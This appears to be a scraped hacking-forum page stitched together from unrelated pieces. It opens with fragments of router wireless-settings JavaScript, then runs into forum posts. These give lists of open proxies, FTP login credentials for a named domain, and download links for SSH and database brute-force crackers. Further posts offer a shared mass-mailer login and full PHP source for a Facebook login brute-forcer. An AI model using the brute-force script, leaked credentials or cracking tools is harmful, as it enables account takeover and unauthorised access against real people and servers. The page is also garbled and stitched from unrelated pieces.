    

//    if (cf.ssid.value.toLowerCase() == "any")

//    {

//        alert("Invalid SSID.\nThe 'ANY' including any upper/lower case combination\n(e.g, 'Any' or 'aNy') of this word is not allowed to be a SSID.");

//        return false;

//    }



    if(cf.passphrase.value.length < 8)

    {

        alert("Insufficient passphrase length, should be minimum of 8 characters long.");

        return false;    

    }

    if(cf.passphrase.value.length > 63)

    {

        if ( isHex(cf.passphrase.value) == false)

        {

            alert("Passphrase is too long, the maximum length should be 63 characters.");

            cf.passphrase.value = "";

            return false;

        }    

    }

    

    if (cf.passphrase.value.match( /[^\x20-\x7E]/ ))

    {

        alert("Character is not allowed in passphrase.");

        cf.passphrase.focus();

        return false;

    }



//    if (cf.wds_enable.value == "1" &&

//        ((cf.g_channel.disabled == true && cf.w_channel[0].selected) ||

//         (cf.g_channel.disabled == false && cf.g_channel[0].selected)))

    if (cf.wds_enable.value == "1" &&

       (cf.g_channel.disabled == true && cf.w_channel[0].selected))

    {

        alert("Auto Channel cannot be used with Wireless Repeating Function.");

        cf.w_channel.focus();

        return false;

    }



    return true;

}

function hotkey(e)

{

    var cf = document.forms[0];

    if(window.event) // IE

    {

        keynum = e.keyCode

    }

    else if(e.which) // Netscape/Firefox/Opera

    {

        keynum = e.keyCode

    }

    if((keynum==77)&&(e.altKey))

    {

        cf.opmode.focus();

        cf.opmode.select;       

    }

    else if((keynum==78)&&(e.altKey))

    {

        cf.security_type[0].checked = true;  

        document.forms[0].submit();  

    } 

}

// -->








Wireless Settings

 
Wireless Network
Name (11N SSID):
Name (11G SSID):
Region:
Mode:
11N Channel:
11G Channel:
 
Security Options
None
WEP
WPA-PSK [TKIP]
WPA2-PSK [AES]
WPA-PSK [TKIP] + WPA2-PSK [AES]
 
Security Options (WPA-PSK)
  Passphrase:   (8-63 characters or 64 hex digits)
 

 

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112.25.12.38:80
190.92.17.17:8080

30/Dec/2011 VIP Http Proxies

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101.50.17.25:8080
108.59.253.113:3128
108.67.222.29:3128
108.95.190.42:80
108.95.190.42:8000
108.95.190.43:80
108.95.191.67:3128
109.121.205.236:8000
109.123.80.99:3128
109.160.76.32:3128
109.160.87.43:8080
109.204.121.123:80
109.234.199.41:3128
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109.74.135.179:3128
109.86.220.228:3128
110.136.153.72:8008
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110.138.101.250:3128
110.138.183.60:8080
110.138.194.153:8080
110.138.20.42:3128
110.138.207.141:8080
110.138.207.199:8080
110.138.208.116:8008
110.138.208.79:3128
110.138.210.109:80
110.138.210.109:8080
110.138.210.160:8080
110.138.211.39:8080
110.138.215.30:8080
110.138.215.48:8085
110.138.237.116:3128
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110.138.30.223:8080
110.139.15.57:8080
110.139.166.35:8080
110.139.182.234:80
110.139.24.116:3128
110.139.66.22:8080
110.164.214.118:3128
110.232.77.22:8080
110.234.104.25:3128
110.5.97.28:80
110.77.137.222:3128
111.93.26.10:8080
112.109.20.154:8888
112.136.157.96:3128
112.175.245.101:80
112.175.245.81:80
112.175.251.56:8080
112.215.62.99:8080
112.217.228.212:8080
112.85.42.69:80
112.91.70.2:80
112.91.70.3:80
112.91.70.4:80
113.106.234.226:8080
113.108.181.171:3128
113.140.49.135:3128
113.16.172.162:8080
113.192.1.99:3128
113.192.1.99:80
113.192.1.99:8000
113.192.1.99:8080
113.53.232.91:8080
113.53.240.90:3128
113.55.0.222:3128
114.112.253.22:3128
114.113.158.29:80
114.129.24.210:8080
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114.199.81.155:8080
114.215.28.125:80
114.30.47.10:80
114.57.36.218:8080
114.6.14.132:80
114.80.80.8:8081
115.108.1.78:3128
115.108.172.67:3128
115.124.65.2:80
115.124.65.3:80
115.236.98.109:80
115.248.167.221:3128
115.31.136.249:8080
116.0.3.74:3128
116.226.38.161:8080
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116.90.172.250:8888
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117.102.101.219:8080
117.102.121.131:8888
117.20.56.66:3128
117.239.12.115:3128
117.239.40.66:8080
118.107.163.7:8000
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118.174.0.155:3128
118.96.120.197:80
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118.96.153.161:3128
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118.96.185.98:8080
118.96.206.208:8080
118.96.217.82:8080
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118.96.226.214:8080
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118.96.248.196:8080
118.96.31.67:8080
118.96.52.126:3128
118.96.6.172:8080
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118.96.79.234:8080
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118.97.17.155:8080
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118.97.18.163:8080
118.97.18.250:8080
118.97.208.194:3128
118.97.234.217:3128
118.97.27.250:3128
118.97.30.210:8080
118.97.37.210:3128
118.97.44.154:8000
118.97.44.156:8080
118.97.45.139:3128
118.97.73.21:8080
118.97.75.187:3128
118.97.77.138:3128
118.97.85.52:8080
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118.97.94.235:8080
118.98.161.26:3128
118.98.168.250:8080
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118.98.212.146:3128
118.98.212.146:80
118.98.215.62:8080
118.98.232.132:8080
118.98.35.251:8080
119.110.67.56:8080
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119.110.72.193:8080
119.147.146.135:8080
119.167.225.1:80
119.177.15.238:3128
119.226.131.85:3128
119.235.19.32:8080
119.235.54.125:3128
119.235.54.182:3128
119.235.54.197:3128
119.252.167.226:8080
119.252.167.227:8080
119.252.170.42:8080
119.82.225.98:8080
119.82.226.139:8080
119.82.231.142:3128
119.84.79.169:80
119.92.232.130:3128
120.136.20.243:8080
120.203.214.148:80
120.29.157.106:8080
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120.35.31.101:8080
120.50.2.10:80
120.50.2.10:8080
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120.50.43.48:8080
121.13.236.100:8080
121.13.236.101:8080
121.14.133.169:3128
121.22.34.166:3128
121.8.209.190:3128
121.97.128.20:8080
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122.160.148.113:8000
122.225.22.22:8080
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123.127.98.170:80
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123.231.252.162:3128
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123.62.6.58:80
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125.162.170.42:3128
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125.19.212.251:3128
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125.253.96.108:8080
125.253.99.85:8080
125.40.181.247:8080
125.46.74.185:3128
125.76.227.6:3128
125.88.75.151:3128
125.90.196.153:3128

list of USA proxies.....enjoy :D

94.23.99.109 port 3128 ---> connection established - data ok 00:00
121.10.243.44 port 3128 ---> connection established - Timeout
91.230.245.46 port 3128 ---> connection established - data ok 00:00
60.199.208.3 port 8080 ---> connection established - data ok 00:01
189.19.233.7 port 3128 ---> connection established - data ok 00:02
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85.29.137.198 port 3128 ---> connection established - data ok 00:01
115.78.0.18 port 8080 ---> connection established - data ok 00:03
62.14.253.27 port 3128 ---> connection established - data ok 00:05
200.42.227.94 port 3128 ---> connection established - Timeout
196.1.178.254 port 3128 ---> connection established - data ok 00:01
118.97.94.10 port 8080 ---> connection established - data ok 00:01
115.109.178.6 port 3128 ---> connection established - data ok 00:03
46.24.10.194 port 8080 ---> connection established - data ok 00:04
78.46.212.216 port 3128 ---> connection established - data ok 00:00
118.97.27.250 port 3128 ---> connection established - data ok 00:02
41.84.154.49 port 3128 ---> connection established - data ok 00:02
212.46.27.142 port 8080 ---> Timeout
93.115.190.2 port 8888 ---> connection established - data ok 00:01
190.239.22.36 port 3128 ---> connection established - data ok 00:05
82.222.19.54 port 8080 ---> connection established - data ok 00:01
189.84.227.66 port 3128 ---> connection established - data ok 00:01
187.17.173.38 port 8080 ---> connection established - Timeout
222.177.13.25 port 3128 ---> connection established - data ok 00:02
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183.91.86.174 port 8080 ---> connection established - data ok 00:01
187.102.201.1 port 3128 ---> connection established - Timeout
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118.97.18.250 port 3128 ---> connection established - data ok 00:01
177.66.106.27 port 8080 ---> connection established - data ok 00:01
218.49.116.87 port 8080 ---> connection established - data ok 00:01
186.3.41.22 port 3127 ---> connection established - data error 00:00
187.0.181.166 port 8080 ---> connection established - data ok 00:05
50.76.6.154 port 8080 ---> connection established - data ok 00:00
58.67.147.198 port 8080 ---> connection established - data ok 00:02
202.78.203.17 port 8080 ---> connection established - data ok 00:02
41.0.65.71 port 8080 ---> connection established - data ok 00:02
219.219.62.238 port 3128 ---> connection established - Timeout
177.36.6.133 port 3128 ---> connection established - data ok 00:01
218.240.42.238 port 3128 ---> connection established - data ok 00:05
62.225.9.83 port 8080 ---> connection established - data error 00:01
84.41.108.74 port 8080 ---> connection established - data ok 00:01
85.214.71.220 port 3128 ---> connection established - data ok 00:00
188.93.20.179 port 8080 ---> connection established - data error 00:01
200.255.18.29 port 3128 ---> connection established - data ok 00:02
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222.124.21.18 port 8080 ---> connection established - data ok 00:02
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190.85.86.147 port 8080 ---> connection established - data ok 00:01
177.21.96.245 port 3128 ---> connection established - data ok 00:01
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190.206.3.137 port 8080 ---> connection established - Timeout
27.122.28.14 port 8080 ---> connection established - data ok 00:02
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46.235.80.186 port 3128 ---> connection established - data ok 00:02
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190.242.98.74 port 3128 ---> connection established - data ok 00:02
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217.96.70.150 port 8080 ---> connection established - data ok 00:02
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60.213.44.50 port 3128 ---> connection established - Timeout
210.43.128.18 port 3128 ---> connection established - data ok 00:01
115.108.1.86 port 3128 ---> connection established - Timeout
62.48.54.9 port 8080 ---> connection established - data ok 00:01
89.135.63.36 port 8040 ---> connection established - Timeout
201.251.5.4 port 8080 ---> connection established - data ok 00:01
84.22.23.6 port 3128 ---> connection established - data ok 00:03
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187.53.149.22 port 8080 ---> connection established - data ok 00:01
62.173.38.82 port 8080 ---> connection established - Timeout
84.33.192.39 port 3128 ---> connection established - data ok 00:04
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187.53.20.206 port 8080 ---> connection established - Timeout
186.3.39.130 port 3128 ---> connection established - data ok 00:00
58.26.165.99 port 3128 ---> connection established - data ok 00:02
119.46.68.232 port 443 ---> connection established - data error 00:01
91.120.24.64 port 8000 ---> connection established - Timeout
86.59.110.147 port 3128 ---> connection established - Timeout
202.127.28.67 port 3128 ---> connection established - data ok 00:01
91.191.170.170 port 8080 ---> connection established - data ok 00:02
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200.54.92.187 port 3128 ---> connection established - data ok 00:03
200.72.32.173 port 8080 ---> connection established - data ok 00:01
196.32.195.42 port 3128 ---> connection established - data ok 00:02
50.22.88.80 port 3128 ---> connection established - data ok 00:00
190.90.36.191 port 8000 ---> connection established - data ok 00:01
122.97.252.95 port 8080 ---> connection established - data ok 00:03
80.87.82.97 port 8080 ---> connection established - data ok 00:01
58.137.146.8 port 8080 ---> connection established - data ok 00:01
196.214.38.74 port 8080 ---> connection established - Timeout
201.86.94.120 port 3128 ---> connection established - Timeout
187.60.96.7 port 3128 ---> connection established - Timeout
89.121.242.246 port 3128 ---> connection established - data ok 00:01
221.7.232.166 port 8080 ---> connection established - data ok 00:02
93.94.27.195 port 3128 ---> connection established - data ok 00:01

FTP access ;)

alico.com.pk

user:admin

pass:12345


njoy

SSHtrix - Fastest Multithreaded SSHv1 and SSH1v2 login cracker

sshtrix is a very fast multithreaded SSH login cracker. It supports SSHv1 and SSHv2.sshtrix was designed to automate rapid bruteforce attacks against SSH authentification screens. Unlike other public tools, the aim is to keep it simple, stable, fast and modular. With its clean code design, it is easy to extend the code to a framework or to fork it against protocols of your choice. In fact, sshtrix is a fork of my own generic login cracker framework.

Download Link :-


Code:
http://www.noptrix.net/codes/sshtrix-0.0.1.tar.gz
Source:- THN

[Latest] HexorBase (The Database Hackers Tool ) [Latest]

HexorBase is a database application designed for administering and auditing multiple database servers simultaneously from a centralized location, it is capable of performing SQL queries and bruteforce attacks against common database servers (MySQL, SQLite, Microsoft SQL Server, Oracle, PostgreSQL ).HexorBase allows packet routing through proxies or even metasploit pivoting antics to communicate with remotely inaccessible servers which are hidden within local subnets.

It works on Linux and Windows running the following:

Requirements:

python
python-qt4
cx_Oracle
python-mysqldb
python-psycopg2
python-pymssql
python-qscintilla2

To install simply run the following command in terminal after changing directory to the path were the downloaded package is:
Code:
root@host:~# dpkg -i hexorbase_1.0_all.deb
Icons and Running the application:

Software Icon can be found at the application Menu of the GNOME desktop interfaces

Icon can also be found at /usr/share/applications for KDE and also GNOME:

There you find "HexorBase.desktop"

To get the source code for this project from SVN, here's the checkout link:
Code:
root@host:~# svn checkout http://hexorbase.googlecode.com/svn/
Heres a video on how the program works

Video Credits: "Maurizio Schmidt"

http://www.youtube.com/watch?v=xUxZknFAAII&


http://code.google.com/p/hexorbase/downloads/

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im not the writer
http://www.mediafire.com/?7gqt2yc29tgc17r

enjoy !

New php mass Mailer!!!!!

Hy guys I just hosted my php mass mailer so use it now ill update the script soon!!!!!!!!
Mass Mailer here
User: phpMM
Pass: phpMM

[Free!][New!]FaceBook Bruteforce PHP script

Hello, first of all im not the coder

To run it, you need a web server with apache

you need to edit the code, its easy, i think you will understand .


PHP Code:
###############################
# Face Book Brute Forcer
################################
#Miracle-Ubers.org
################################
set_time_limit(0); $username ="brute@force.org"// username to brute force $dictionary ="dictionary.txt"// need dictionary to password list
 
function kontrol($kullaniciadi,$sifre){ $useragent "Opera/9.21 (Windows NT 5.1; U; tr)"$data "email=$kullaniciadi&pass=$sifre&login=Login" $ch curl_init('https://login.facebook.com/login.php?m&next=http://m.facebook.com/home.php'); curl_setopt($chCURLOPT_HEADER0); curl_setopt($chCURLOPT_FOLLOWLOCATION1); curl_setopt($chCURLOPT_SSL_VERIFYPEERfalse); curl_setopt($chCURLOPT_RETURNTRANSFER1); curl_setopt($chCURLOPT_POST1); curl_setopt($chCURLOPT_POSTFIELDS$data); curl_setopt($chCURLOPT_USERAGENT$useragent); curl_setopt($chCURLOPT_COOKIEFILE'cookie.txt'); curl_setopt($chCURLOPT_COOKIEJAR'cookie.txt'); $source=curl_exec ($ch); curl_close ($ch);
if(
eregi("Home",$source)){return true;} else {return false;}

}

if(!
is_file($dictionary)){echo "$dictionary is not file";exit;} $lines=file($dictionary);
echo 
"Attack Starting..
"
sleep(10);
echo 
"Attack Started, brute forcing..
"
;
foreach(
$lines as $line){ $line=str_replace("\r","",$line); $line=str_replace("\n","",$line);
if(
kontrol($username,$line)){echo "[+]  username:$username , password:$line - P
assword found : $line
"
;$fp=fopen('cookie.txt','w');fwrite($fp,'');exit;}
else{echo 
"[-] username:$username , password:$line - Password not found  : 
$line
"
;}
?>  



Enjoy

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